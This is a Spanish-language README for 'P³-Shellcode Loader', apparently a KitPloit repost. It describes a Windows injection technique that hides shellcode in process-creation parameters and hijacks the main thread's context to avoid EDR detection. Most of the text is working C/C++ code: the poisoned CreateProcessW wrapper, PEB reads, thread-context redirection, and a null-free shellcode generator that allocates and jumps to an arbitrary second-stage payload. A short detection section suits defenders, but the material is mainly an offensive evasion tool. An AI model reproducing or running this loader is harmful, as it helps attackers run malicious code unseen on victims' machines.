
P³-Shellcode Loader es un cargador que implementa una técnica de inyección de código que aprovecha la estructura Process Parameters como ubicación de ejecución y almacenamiento intermedio (staging) para la inyección de shellcode en procesos remotos, sin activar mecanismos comunes de detección.
Authors: Max Hirschberger & Ogulcan Ugur
P³-Shellcode Loader es un cargador que implementa una técnica de inyección de código que aprovecha la estructura Process Parameters (Process Parameter Poisoning) como ubicación de ejecución y almacenamiento intermedio para la inyección de shellcode en procesos remotos, sin desencadenar los mecanismos de detección habituales.
Un concepto similar fue descrito por el investigador de seguridad modexp, quien demostró que los argumentos pasados a la API CreateProcess se pueden aprovechar para este propósito [1].
Los atacantes quieren que sus actividades parezcan menos sospechosas. Con la inyección de procesos, los atacantes pueden realizar sus actividades desde un proceso diferente que sea más confiable o del que se espera que realice la actividad específica, reduciendo así las sospechas.
Los siguientes son los pasos típicos necesarios para inyectar código en otro proceso:
OpenProcess / NtOpenProcess o CreateProcess / NtCreateProcess).VirtualAllocEx o NtAllocateVirtualMemory).WriteProcessMemory / NtWriteVirtualMemory).VirtualProtectEx / NtProtectVirtualMemory).CreateRemoteThread o NtCreateThreadEx).Las técnicas de inyección adicionales incluyen, entre otras, las siguientes:
NtSetContextThread)NtQueueApcThread)RtlCreateProcessReflection, que implementa la bifurcación de procesos.
En nuestras pruebas, observamos que la mayoría de los EDR se centran en telemetría específica para detectar la inyección de procesos. Los EDR monitorean principalmente el uso de WriteProcessMemory y VirtualAllocEx, así como sus llamadas al sistema del kernel subyacentes NtWriteVirtualMemory, NtAllocateVirtualMemory y NtAllocateVirtualMemoryEx.Windows proporciona la función de API CreateProcessW para crear nuevos procesos, como se muestra en el Listado 1. Los tres primeros parámetros de dicha función, lpCommandLine, lpEnvironment y lpStartupInfo, son relevantes para la técnica de inyección descrita, ya que se utilizan para transferir datos al nuevo proceso.```c
BOOL CreateProcessW(
[in, optional] LPCWSTR lpApplicationName,
[in, out, optional] LPWSTR lpCommandLine,
[in, optional] LPSECURITY_ATTRIBUTES lpProcessAttributes,
[in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in] BOOL bInheritHandles,
[in] DWORD dwCreationFlags,
[in, optional] LPVOID lpEnvironment,
[in, optional] LPCWSTR lpCurrentDirectory,
[in] LPSTARTUPINFOW lpStartupInfo,
[out] LPPROCESS_INFORMATION lpProcessInformation
);
*Listado 1: Definición de la función CreateProcessW de Windows API*
El parámetro `lpCommandLine` especifica la línea de comandos para el nuevo proceso. Está limitado a un máximo de 32,767 caracteres Unicode, incluido el terminador nulo Unicode. Para la variante Unicode, es necesario proporcionar una cadena en la que la función pueda escribir. Si se suministra una cadena constante, cualquier intento de escritura realizado por la función de la API provoca una violación de acceso a memoria. Si el valor es `NULL`, la línea de comandos del proceso se tomará del parámetro `lpApplicationName`. Si `lpApplicationName` es `NULL`, debe proporcionarse en el campo `lpCommandLine` y está limitado a caracteres `MAX_PATH`.
El parámetro `lpEnvironment` proporciona una lista de variables de entorno al proceso. Si el valor es `NULL`, se utilizará el entorno del proceso creador. La lista de variables de entorno consta de cadenas sucesivas terminadas en nulo con el formato `NAME=VALUE` y otro terminador nulo al final.
El parámetro `lpStartupInfo` es una estructura que se muestra en el Listado 2, con campos como estación de ventana, escritorio, identificadores de entrada y salida estándar, así como campos que configuran la ventana principal del nuevo proceso. Según la documentación de Microsoft, el campo `lpReserved` está reservado para uso interno y no se documenta más. Mediante el análisis con el depurador WinDbg, fue posible relacionar este parámetro con la variable `ShellInfo` de tipo `UNICODE_STRING` en el nuevo proceso.```c
typedef struct _STARTUPINFOW {
DWORD cb;
LPWSTR lpReserved; // Copied to ShellInfo (UNICODE_STRING)
LPWSTR lpDesktop;
LPWSTR lpTitle;
DWORD dwX;
DWORD dwY;
DWORD dwXSize;
// (...) additional fields
WORD wShowWindow;
WORD cbReserved2;
LPBYTE lpReserved2;
HANDLE hStdInput;
// (...) additional fields
} STARTUPINFOW, *LPSTARTUPINFOW;
Listado 2: Disposición de la estructura de datos STARTUPINFOW
En la creación de un nuevo proceso, todos los parámetros de proceso suministrados se escriben en el Bloque de Entorno del Proceso (PEB). El PEB es una estructura de datos que está presente en todos los procesos y es única para cada proceso. Los parámetros pueden ser accedidos dentro del miembro ProcessParameters del tipo RTL_USER_PROCESS_PARAMETERS. Además de los parámetros del proceso, esta estructura también incluye información adicional de tiempo de ejecución, como una lista de módulos cargados. La estructura del PEB y los parámetros de proceso relevantes en el RTL_USER_PROCESS_PARAMETERS se muestra en el Listado 3 y el Listado 4.```c
typedef struct _PEB
{
BOOLEAN InheritedAddressSpace;
BOOLEAN ReadImageFileExecOptions;
BOOLEAN BeingDebugged;
// (...) additional fields
PVOID ImageBaseAddress;
PPEB_LDR_DATA Ldr;
PRTL_USER_PROCESS_PARAMETERS ProcessParameters; // Poisonable
PVOID SubSystemData;
PVOID ProcessHeap;
PRTL_CRITICAL_SECTION FastPebLock;
// (...) additional fields
} PEB, *PPEB;
*Listado 3: Disposición de la estructura de datos PEB*```c
typedef struct _RTL_USER_PROCESS_PARAMETERS
{
ULONG MaximumLength;
ULONG Length;
ULONG Flags;
ULONG DebugFlags;
// (...) additional fields
CURDIR CurrentDirectory;
UNICODE_STRING DllPath; // Potential candidate for transfer
UNICODE_STRING ImagePathName; // Potential candidate for transfer
UNICODE_STRING CommandLine; // Primary candidate for transfer
PVOID Environment; // Primary candidate for transfer
// (...) additional fields
UNICODE_STRING ShellInfo; // Primary candidate for transfer
// (lpReserved in STARTUPINFO)
UNICODE_STRING RuntimeData; // Potential candidate for transfer
// (...) additional fields
} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;
Listado 4: Disposición de la estructura de datos RTL_USER_PROCESS_PARAMETERS
La Figura 1 muestra el parámetro ShellInfo con el valor de veneno suministrado en el campo lpReserved para la estructura STARTUPINFOW. Además, la Figura 2 muestra la línea de comandos controlada dentro de la herramienta System Informer.
Figura 1: Parámetro ShellInfo envenenado
Figura 2: Línea de comandos envenenada
Dado que hay múltiples parámetros que pueden usarse para copiar el código malicioso, la función envolvente en el Listado 5 crea un proceso con el argumento de veneno suministrado al parámetro de proceso elegido. Al ejecutar el inyector implementado, esta elección puede realizarse como se muestra en la Figura 3. Además, se puede proporcionar cualquier valor para la aplicación de destino que se utilizará en lpApplication, con el mensaje al usuario mostrado en la Figura 4.```cpp
BOOL CreateProcessWithPoison
(int choice, PWCHAR lpApplication,
PWCHAR poisonParameter, PPROCESS_INFORMATION pi)
{
STARTUPINFOW si = { 0 };
switch (choice) {
case 1: // Injection via ShellInfo (lpReserved)
printf("[] Writing into ShellInfo...\n");
si.lpReserved = poisonParameter;
return CreateProcessW(lpApplication, NULL, NULL, NULL, FALSE,
0, NULL, NULL, &si, pi);
case 2: // Injection via Environment block
printf("[] Writing into Environment block...\n");
return CreateProcessW(lpApplication, NULL, NULL, NULL, FALSE,
CREATE_UNICODE_ENVIRONMENT, poisonParameter,
NULL, &si, pi);
case 3: // Injection via CommandLine
printf("[~] Writing into CommandLine...\n");
return CreateProcessW(lpApplication, poisonParameter, NULL, NULL,
FALSE, 0, NULL, NULL, &si, pi);
default:
return FALSE;
}
}
*Listado 5: Implementación de CreateProcessWithPoison*
Esta función implementa tres opciones de parámetros distintas:
1. **Inyección en ShellInfo:** Coloca el veneno en el campo `lpReserved` del parámetro `lpStartupInfo`, que se copiará a la variable `ShellInfo` en el PEB.
2. **Inyección en el entorno:** Coloca el veneno en el parámetro `lpEnvironment` con la marca `CREATE_UNICODE_ENVIRONMENT`.
3. **Inyección en la línea de comandos:** Coloca el veneno en el parámetro `lpCommandLine` de `CreateProcessW`.
<img width="753" height="445" alt="image" src="https://assets.kitploit.com/production/public/readmes/42034/878e41931d49b82212556e099ba928cab890d427cd87498fb667f3e0965dbbe1.png" />
*Figura 3: Selección del parámetro a envenenar*
<img width="752" height="167" alt="image" src="https://assets.kitploit.com/production/public/readmes/42034/a128d8601b3edcfbf31ba3aa3c10fe995910fc932973a6d86e263f6edafb1bb8.png" />
*Figura 4: Selección del ejecutable de la aplicación objetivo*
### 4.2 Localización de los datos inyectados en el nuevo proceso
Tras la creación exitosa del proceso, los datos inyectados pueden encontrarse mediante la estructura PEB. Se requieren los siguientes tres pasos para localizar el veneno en el nuevo proceso.
En primer lugar, la dirección inicial de la estructura PEB se determina llamando a `NtQueryInformationProcess`. `NtQueryInformationProcess` recupera la estructura de datos `PROCESS_BASIC_INFORMATION` cuando se llama con la clase de información `ProcessBasicInformation`. Y `PROCESS_BASIC_INFORMATION` contiene la dirección del PEB en el campo `PebBaseAddress`. Este paso se muestra en el Listado 6.```cpp
WinApiResolver winapi = WinApiResolver::GetInstance();
PROCESS_BASIC_INFORMATION pbi = { 0 };
ULONG retLen;
winapi.NtQueryInformationProcess(
pi.hProcess, // Handle of the new process
ProcessBasicInformation, // Query PROCESS_BASIC_INFORMATION
&pbi, // Destination
sizeof(pbi), // Size of the destination
&retLen // Resulting size of what was read
);
Listado 6: Primer paso para localizar los datos inyectados
En el segundo paso, se lee la estructura PEB llamando a NtReadVirtualMemoryEx con la dirección inicial de la estructura que se obtuvo en el primer paso. La implementación del segundo paso se muestra en el Listado 7.```cpp
PEB pebLocal = { 0 };
SIZE_T bytesRead;
NTSTATUS status = winapi.NtReadVirtualMemoryEx(
pi.hProcess, // Handle of the new process
pbi.PebBaseAddress, // Starting address of the PEB
&pebLocal, // Destination / Local copy of the PEB
sizeof(pebLocal), // Size to be read
&bytesRead, // Resulting size of what was read
0 // Reserved parameter
);
*Listado 7: Segundo paso para localizar los datos inyectados*
Después de leer el PEB, el campo `ProcessParameters` contiene la dirección de inicio de la estructura `RTL_USER_PROCESS_PARAMETERS` en el nuevo proceso. En el tercer paso, esta estructura también se lee del nuevo proceso. Los punteros a los datos inyectados están dentro de esta estructura. El tercer paso se muestra en el Listado 8.```cpp
RTL_USER_PROCESS_PARAMETERS parameters = { 0 };
status = winapi.NtReadVirtualMemoryEx(
pi.hProcess, // Handle of target process
pebLocal.ProcessParameters, // ProcessParameters address in target
¶meters, // Output buffer / Local copy
sizeof(parameters), // Size to be read
&bytesRead, // Resulting size of what was read
0 // Reserved parameter
);
Listado 8: Tercer paso para localizar los datos inyectados
Este enfoque solo utiliza APIs de lectura de memoria y ninguna API de escritura o asignación en la que los EDR se centran. Sin embargo, existe una limitación impuesta por los parámetros. Dado que estos parámetros son cadenas terminadas en nulo, solo el shellcode sin terminador nulo puede transferirse por completo. En la Sección 5 se proporciona una solución para superar esta limitación.
Después de transferir el código, la ejecución del proceso aún debe dirigirse hacia el código. Además, la protección de memoria de los datos inyectados debe ajustarse, ya que los parámetros no se colocan en regiones marcadas como ejecutables.
Para cambiar la protección, se utiliza la API de Windows NtProtectVirtualMemory para cambiar la protección de solo lectura y escritura a solo lectura y ejecución.
Para redirigir la ejecución del código al shellcode, existen los siguientes tres métodos:
CreateRemoteThread / NtCreateThreadEx: Crear un nuevo hilo que comience en el shellcodeQueueUserAPC / NtQueueApcThread: Poner en cola un APC en un hilo existente que termine redirigiéndolo al shellcodeUn análisis detallado de la implementación de RtlCreateProcessReflection reveló que realiza llamadas a NtWriteVirtualMemory y NtCreateThreadEx. Esencialmente, crea un hilo en un proceso objetivo para ejecutar una función dentro de ntdll.dll. Esta función crea el proceso bifurcado al llamar a RtlCloneUserProcess y también realiza una escritura de memoria en el proceso bifurcado.
Dado que NtWriteVirtualMemory es uno de los indicadores principales utilizados por los EDR, el método Dirty Vanity solo despierta sospechas más allá de lo necesario.
En su lugar, se utiliza la manipulación del contexto del hilo principal, ya que proporciona las siguientes ventajas sobre Dirty Vanity:
CreateProcessW ya proporciona un manejador válido para el hilo principal dentro de la estructura PROCESS_INFORMATION. Un manejador es un objeto de referencia abstracto que el kernel proporciona para interactuar con recursos del sistema, como procesos, hilos y archivos. Los manejadores son esencialmente índices en tablas de manejadores específicas del proceso que asignan cada manejador a un objeto en el kernel con un nivel de acceso asociado al objeto.NtWriteVirtualMemory, VirtualAllocEx y CreateRemoteThread nunca se utilizan, solo se llama a NtSetContextThread.
El contexto de un hilo es el estado de todos los registros del procesador. Por lo tanto, es posible redirigir el flujo de ejecución de un hilo manipulando su contexto, es decir, cambiando el registro del puntero de instrucción. Normalmente, el contexto del hilo se manipula mediante los siguientes pasos:Suspensión del hilo: El hilo objetivo se coloca en estado suspendido llamando a SuspendThread o creándolo en estado suspendido
Lectura del contexto: El contexto actual se lee en una estructura de datos CONTEXT mediante GetThreadContext
Modificación del contexto: Se realizan los cambios deseados en el contexto, p. ej., cambiando el registro del puntero de instrucción RIP
Aplicación del contexto: El contexto modificado se escribe en el hilo llamando a SetThreadContext
Reanudación del hilo: Se llama a ResumeThread para reanudar la ejecución del hilo en el nuevo valor de RIP
El contexto de un hilo se puede cambiar sin suspenderlo primero. Por lo tanto, no es necesario llamar a SuspendThread y ResumeThread, que pueden ser monitoreadas por los EDR para la inyección de procesos. Además, también se puede omitir la llamada a GetThreadContext si la ejecución anterior no necesita restaurarse en un punto posterior. La implementación resultante se muestra en el Listado 9.```cpp
NTSTATUS ThreadSetExec(PHANDLE hThread, PVOID shellcode)
{
CONTEXT ctx;
ctx = { 0 };
ctx.ContextFlags = CONTEXT_CONTROL; // CONTEXT_CONTROL flag is enough
WinApiResolver winapi = WinApiResolver::GetInstance();
NTSTATUS status = 0;
*Listado 9: Manipulación del contexto de hilo en ThreadSetExec*
### 4.4 Inyecciones de payload implementadas
Nuestra implementación de esta técnica de inyección incluye las siguientes cuatro opciones de payload que se muestran en la Figura 5.
1. La primera opción es una demo simple que muestra una ventana emergente y se muestra en la Figura 5. Esta opción no requiere shellcode adicional ni archivos ejecutables que se vayan a inyectar.
2. La segunda opción toma una representación hexadecimal de shellcode y la inyecta. Si el shellcode contiene bytes nulos, se inyecta con el método descrito en la Sección 5.
3. La tercera opción acepta una ruta a un archivo DLL que luego se proporciona a `LoadLibraryA` dentro del objetivo.
4. Por último, la cuarta opción carga shellcode sin procesar desde una URL HTTP(S) y también se encarga de la limitación de bytes nulos.
<img width="598" height="200" alt="image" src="https://assets.kitploit.com/production/public/readmes/42034/f98211120a8cba1628a3514f30befdc7e8ba315cec4148f071216ee5647b7c9b.png" />
*Figura 5: Elección del shellcode inyectado*
<img width="841" height="556" alt="image" src="https://assets.kitploit.com/production/public/readmes/42034/3d662981ef5fe16b62eb12c934ba483f9cb75e87343e5ea330de69b2ed5f2985.png" />
*Figura 6: Cuadro de mensaje creado por shellcode*
---
## 5. Pasar shellcode arbitrario en una cadena
No es posible pasar datos arbitrarios dentro de los parámetros. Esto se debe a que solo se copian los datos hasta un terminador nulo. Para superar esta limitación, hemos construido un generador de shellcode que no emite terminadores nulos.
Este generador de shellcode puede crear shellcode para llamar a `MessageBoxA`, `LoadLibraryA`, `NtTerminateProcess` o `NtSuspendThread` con parámetros arbitrarios. Además, puede generar shellcode que decodifica un shellcode de segunda etapa arbitrario y salta a él.
Está implementado en la clase C++ `ShellCodeWriter` con métodos auxiliares privados y métodos públicos para la funcionalidad expuesta. Los detalles de implementación se explicarán a continuación.
### 5.1 Métodos auxiliares de bajo nivel utilizados por el generador de shellcode
`Xor` se utiliza como la primitiva que permite al shellcode generar cualquier dato, incluidos bytes nulos. Esta primitiva está implementada en el método auxiliar `SetRAXXOR` que toma dos valores de 64 bits. Emite shellcode que realiza una operación xor con los valores de 64 bits dados y guarda el resultado en el registro `RAX`.
El método auxiliar adicional `SetRAX` crea estos dos valores de 64 bits que, al aplicarles xor, dan como resultado un valor dado. También garantiza que estos dos valores de 64 bits no contengan bytes nulos. En esencia, `SetRAX` emite shellcode que establecerá el registro `RAX` a un valor arbitrario de 64 bits.
Tanto `SetRAXXOR` como `SetRAX` se muestran en el Listado 10. Además, el código máquina resultante de tres llamadas de ejemplo a `SetRAX` se muestra en el Listado 11.```cpp
void ShellCodeWriter::SetRAXXOR(uint64_t xor_a_value, uint64_t xor_b_value)
{
const char gadget[] =
"\x48\xB8\xB0\xC5\x2F\x6D\xFB\x7F\x01\x01" // mov rax, XOR_A
"\x49\xBF\x01\x01\x01\x01\x01\x01\x01\x01" // mov r15, XOR_B
"\x4C\x31\xF8"; // xor rax, r15
uint64_t* xor_a = (uint64_t*)(gadget + 2);
uint64_t* xor_b = (uint64_t*)(gadget + 12);
*xor_a = xor_a_value;
*xor_b = xor_b_value;
AppendShellCode(gadget, 23);
}
void ShellCodeWriter::SetRAX(uint64_t value)
{
if (value == 0)
{
AppendShellCode("\x48\x31\xC0", 3); // xor rax, rax
return;
}
uint64_t xor_a = 0, xor_b = 0x0101010101010101;
// Adjust the xor key (xor_b) to ensure xor_a will have no zero bytes
for (int i = 0; i < 8; i++)
{
if (((uint8_t*)(&value))[i] == 0x01)
{
((uint8_t*)(&xor_b))[i] = 0x02;
}
}
xor_a = value ^ xor_b;
SetRAXXOR(xor_a, xor_b);
}
Listado 10: Implementación de SetRAXXOR y SetRAX```asm ; SetRAX(0) xor rax, rax
; SetRAX(0xDEADBEEF) mov rax, 0x01010101DFACBFEE mov r15, 0x0101010101010101 xor rax, r15
; SetRAX(1) mov rax, 0x0101010101010103 mov r15, 0x0101010101010102 xor rax, r15
*Listado 11: Ejemplos de código emitido por SetRAX*
`SetRAX` es la base de los métodos auxiliares `PushValue`, `PushBuffer`, `SetArgRegister` y `SetArgRegisterStackRelative`. `PushValue` llama a `SetRAX` y lo sigue con una instrucción `push RAX`, lo que permite empujar valores arbitrarios a la pila. `PushBuffer` usa `PushValue` para escribir un arreglo arbitrario de bytes en la pila; para ello divide los datos en valores de 64 bits y los empuja en orden inverso. El orden debe invertirse, ya que el puntero de pila se decrementa después de cada push. El generador de shellcode lleva la cuenta de cuántos bytes se empujaron con la variable `m_total_consumed_stack_bytes`. Esta variable se usa en el método auxiliar `FreeStack` para limpiar la pila, devolviendo el puntero de pila a su valor inicial.
En la interfaz binaria de aplicación x86 de 64 bits de Windows, los registros `RCX`, `RDX`, `R8` y `R9` se usan para los primeros cuatro argumentos al llamar a una función. Los argumentos adicionales se empujan a la pila, después de un espacio de sombra de 32 bytes. El espacio de sombra está reservado para la función llamada y se usa para guardar los cuatro primeros registros de argumentos. `SetArgRegister` y `SetArgRegisterStackRelative` se usan para establecer uno de estos cuatro registros de argumentos. `SetArgRegister` establece un registro determinado a un valor constante arbitrario. Y el código generado por `SetArgRegisterStackRelative` escribe el puntero de pila más un desplazamiento constante en el registro de argumentos correspondiente. Cualquier argumento adicional de función puede empujarse con el método auxiliar `PushValue`.
El auxiliar `Call` emite código que alinea el puntero de pila a 16 bytes, luego realiza una llamada a la dirección dada y, por último, revierte cualquier cambio de alineación que haya realizado inicialmente. Se requiere un puntero de pila alineado a 16 bytes para evitar fallos en funciones que utilizan operaciones de registros de punto flotante XMM. Al llamar a funciones con argumentos que se pasan en la pila, la alineación debe ser correcta antes de llamar a este auxiliar. De lo contrario, los argumentos terminan en el desplazamiento de pila incorrecto.
### 5.2 Implementación de Operaciones de Nivel Superior
La operación más simple es llamar a `NtTerminateProcess` o `NtSuspendThread`. Debido a su similitud, solo se cubrirá `NtTerminateProcess`, que se muestra en el Listado 12. `NtTerminateProcess` toma dos parámetros y sigue la convención de llamadas x64. Primero, se llama al auxiliar `SetArgRegister` para ambos parámetros, para inicializarlos con los valores suministrados. Luego se llama a la función API.
Dado que el shellcode se genera en la misma máquina, la dirección de la función se resuelve en el momento de la generación y no dentro del shellcode. La resolución de funciones API la maneja la clase `WinApiResolver`. Finalmente, el método auxiliar `Call` genera la instrucción de llamada y el código de alineación de la pila.```cpp
void ShellCodeWriter::CallTerminateProcess
(HANDLE ProcessHandle, NTSTATUS ExitStatus)
{
SetArgRegister(0, (uint64_t)ProcessHandle);
SetArgRegister(1, ExitStatus);
WinApiResolver winapi = WinApiResolver::GetInstance();
Call((uint64_t)winapi.NtTerminateProcess);
}
Listado 12: Implementación de ShellCodeWriter::CallTerminateProcess
Las funciones que toman valores de puntero, como LoadLibraryA y MessageBoxA, no se pueden usar de la misma manera. Esto se debe a que se requiere una dirección de memoria válida, que no se conoce en el momento de generar el shellcode. Por lo tanto, se utiliza la función auxiliar SetArgRegisterStackRelative para establecer el argumento en una dirección de la pila. En el Listado 13, la cadena del parámetro del módulo se escribe en la pila y el primer registro de argumento se configura para que apunte al inicio de la cadena del módulo en la pila. Además, la función mueve el puntero de la pila 32 bytes para tener en cuenta el espacio de sombra. Sin esto, la función llamada sobrescribiría la cadena del módulo.```cpp
void ShellCodeWriter::CallLoadLibraryA(LPCSTR module)
{
PushBuffer(module, strlen(module) + 1);
int pos_buf = m_total_consumed_stack_bytes;
// Shadow Space
AppendShellCode("\x48\x83\xEC\x20", 4); // sub rsp, 32
m_total_consumed_stack_bytes += 32;
// Populate arg registers
SetArgRegisterStackRelative(0, (m_total_consumed_stack_bytes - pos_buf));
WinApiResolver winapi = WinApiResolver::GetInstance();
Call((uint64_t)winapi.LoadLibraryA);
}
*Listado 13: Implementación de ShellCodeWriter::CallLoadLibraryA*
Finalmente, `LoadAndCallShellCode` toma un shellcode arbitrario que puede incluir bytes nulos y lo ejecuta. Su implementación se muestra en los Listados 14 y 15 y se divide en las siguientes cinco operaciones:
1. El shellcode arbitrario se escribe en la pila mediante `PushBuffer`. Después, se asigna el espacio de sombra (shadow space) para proteger el shellcode de ser sobrescrito.
2. A continuación, se realiza una simple llamada a `VirtualAlloc` que utiliza parámetros ya conocidos en el momento de la generación. Esta llamada a la API asigna memoria protegida contra lectura y escritura que puede contener el shellcode.
3. Después, la dirección de memoria devuelta por `VirtualAlloc` se guarda en los dos registros `R12` y `R10`. Luego, `R11` se inicializa con el tamaño del shellcode y `RCX` se establece para que apunte al inicio del shellcode. Con los registros `R10`, `R11` y `RCX` configurados, siguen seis instrucciones que realizan una copia de memoria, copiando el shellcode en la región de memoria recién asignada.
4. Saltar al shellcode todavía no es posible, ya que la región de memoria está protegida contra lectura y escritura. Es posible asignar una región de lectura/escritura y ejecutable; sin embargo, esto probablemente se consideraría más sospechoso. Por lo tanto, se realiza una llamada a `VirtualProtect` para cambiar la protección a legible y ejecutable, pero no escribible.
5. Y por último, se realiza un salto al shellcode, después de asegurarse de que la pila esté correctamente alineada.```cpp
void ShellCodeWriter::LoadAndCallShellCode(const std::vector<uint8_t>& shellcode)
{
// 1. Pushes the shellcode to the stack
PushBuffer(shellcode.data(), shellcode.size());
int pos_sc = m_total_consumed_stack_bytes;
// Shadow Space
AppendShellCode("\x48\x83\xEC\x20", 4); // sub rsp, 32
m_total_consumed_stack_bytes += 32;
// 2. Allocates READWRITE memory
CallVirtualAlloc(NULL, shellcode.size(), MEM_COMMIT, PAGE_READWRITE);
{ // 3. Copies shellcode from the stack to the newly allocated area
AppendShellCode("\x49\x89\xC4", 3); // mov r12, rax ; shellcode_dest
AppendShellCode("\x49\x89\xC2", 3); // mov r10, rax ; shellcode_dest
SetRAX(shellcode.size());
AppendShellCode("\x49\x89\xC3", 3); // mov r11, rax ; size
SetArgRegisterStackRelative(0, (m_total_consumed_stack_bytes - pos_sc));
// r10: Shellcode dest ptr
// r11: size
// rcx: Shellcode src ptr
const char* copy_sc =
"\x8A\x01" // mov al, byte ptr ds:[rcx]
"\x41\x88\x02" // mov byte ptr ds:[r10], al
"\x48\xff\xc1" // inc rcx
"\x49\xff\xc2" // inc r10
"\x49\xff\xcb" // dec r11
"\x75\xf0"; // jnz -16
AppendShellCode(copy_sc, 16);
}
// (...)
Listado 14: Implementación de ShellCodeWriter::LoadAndCallShellCode (Pasos 1–3)```cpp // (...) { // 4. Changes protection of the newly allocated area to EXECUTE_READ // VirtualProtect(shellcode_dest, size, PAGE_EXECUTE_READ, shellcode_src); AppendShellCode("\x4C\x89\xE1", 3); // mov rcx, r12 ; lpAddress SetArgRegister(1, shellcode.size()); SetArgRegister(2, PAGE_EXECUTE_READ); // flNewProtect SetArgRegisterStackRelative(3, (m_total_consumed_stack_bytes - pos_sc)); WinApiResolver winapi = WinApiResolver::GetInstance(); Call((uint64_t)winapi.VirtualProtect); }
if (m_total_consumed_stack_bytes % 16)
{
AppendShellCode("\x58\x50\x50", 3); // pop rax; push rax; push rax;
m_total_consumed_stack_bytes += 8;
}
// 5. Jumps to the newly allocated area
AppendShellCode("\x41\xff\xe4", 3); // jmp r12
}
*Listado 15: Implementación de `ShellCodeWriter::LoadAndCallShellCode` (Pasos 4–5)*
---
## 6. Ventajas de la evasión de detección mediante esta técnica
Una de las principales ventajas de esta técnica es que no se crean procesos en estado suspendido ni se suspenden hilos o procesos durante su ejecución. La creación de procesos suspendidos o las llamadas repetidas a `SuspendThread` son indicadores conocidos utilizados por los EDR para el vaciado de procesos, la inyección de procesos y ataques similares.
Además, al crear el proceso objetivo, ya se dispone de un handle del hilo principal que tiene el acceso necesario para modificar su contexto.
| Aspecto | Inyección clásica | Envenenamiento de parámetros de proceso |
|---|---|---|
| Asignación de memoria | `VirtualAllocEx` requerido | Sin asignación explícita |
| Escritura de memoria | `WriteProcessMemory` requerido | Indirecta mediante `CreateProcessW` |
| Redirección de ejecución | `CreateRemoteThread` o APC | `SetThreadContext` |
| Probabilidad de detección | Alta (muchas API sospechosas) | Reducida (creación benigna de procesos) |
| Telemetría del EDR | Estrechamente monitorizada | Observabilidad reducida |
En general, esta técnica resulta mucho menos sospechosa, ya que deja una huella más pequeña al utilizar API legítimas de creación de procesos y gestión de hilos.
---
## 7. Enfoque de detección
Existen varios indicadores sospechosos generados por esta técnica que pueden utilizarse para detectarla.
- `VirtualProtectEx` que hace ejecutable una región de memoria seguido de `SetThreadContext` con al menos `CONTEXT_CONTROL`. Cabe señalar que el puntero de instrucción no tiene por qué apuntar a esta región ejecutable, ya que puede apuntar en su lugar a un gadget que luego la redirija. Sin embargo, es muy probable que un puntero a la región de memoria se escriba en uno de los registros de la CPU.
- `VirtualProtectEx` que hace ejecutables páginas de los parámetros del proceso, tanto en el propio proceso como en procesos externos.
- La creación de un proceso en el que uno de los tres parámetros abusados resulte sospechoso. Por ejemplo, si la entropía de la línea de comandos es cercana a la entropía del shellcode o está lejos de la entropía de un valor normal de línea de comandos. Además, si la longitud del parámetro suministrado es excesiva o contiene muchos caracteres inusuales. Sin embargo, confiar únicamente en esto probablemente dará lugar a falsos positivos.
- La lectura de la estructura de parámetros de proceso de un proceso remoto a la que el PEB tiene un puntero.
---
## 8. Conclusión
En resumen, los atacantes pueden eludir las soluciones de seguridad modernas mediante nuevas ideas y pequeñas modificaciones, ya sea desarrollando nuevas técnicas o reaplicando técnicas antiguas de formas novedosas.
Por lo tanto, es importante desarrollar continuamente nuevas reglas de detección y no depender únicamente de una solución existente.
---
## 9. Referencias
[1] https://web.archive.org/web/20241211190548/https://modexp.wordpress.com/2020/07/31/wpi-cmdline-envar/
status = winapi.NtGetContextThread(*hThread, &ctx); if (!NT_SUCCESS(status)) { SetColor(FOREGROUND_RED); printf("\n[-] NtGetContextThread failed with Error Code %08x\n", status); return status; }
ctx.Rip = (DWORD64)shellcode;
status = winapi.NtSetContextThread(*hThread, &ctx); if (!NT_SUCCESS(status)) { SetColor(FOREGROUND_RED); printf("\n[-] NtSetContextThread failed with Error Code %08x\n", status); return status; }
return 0; }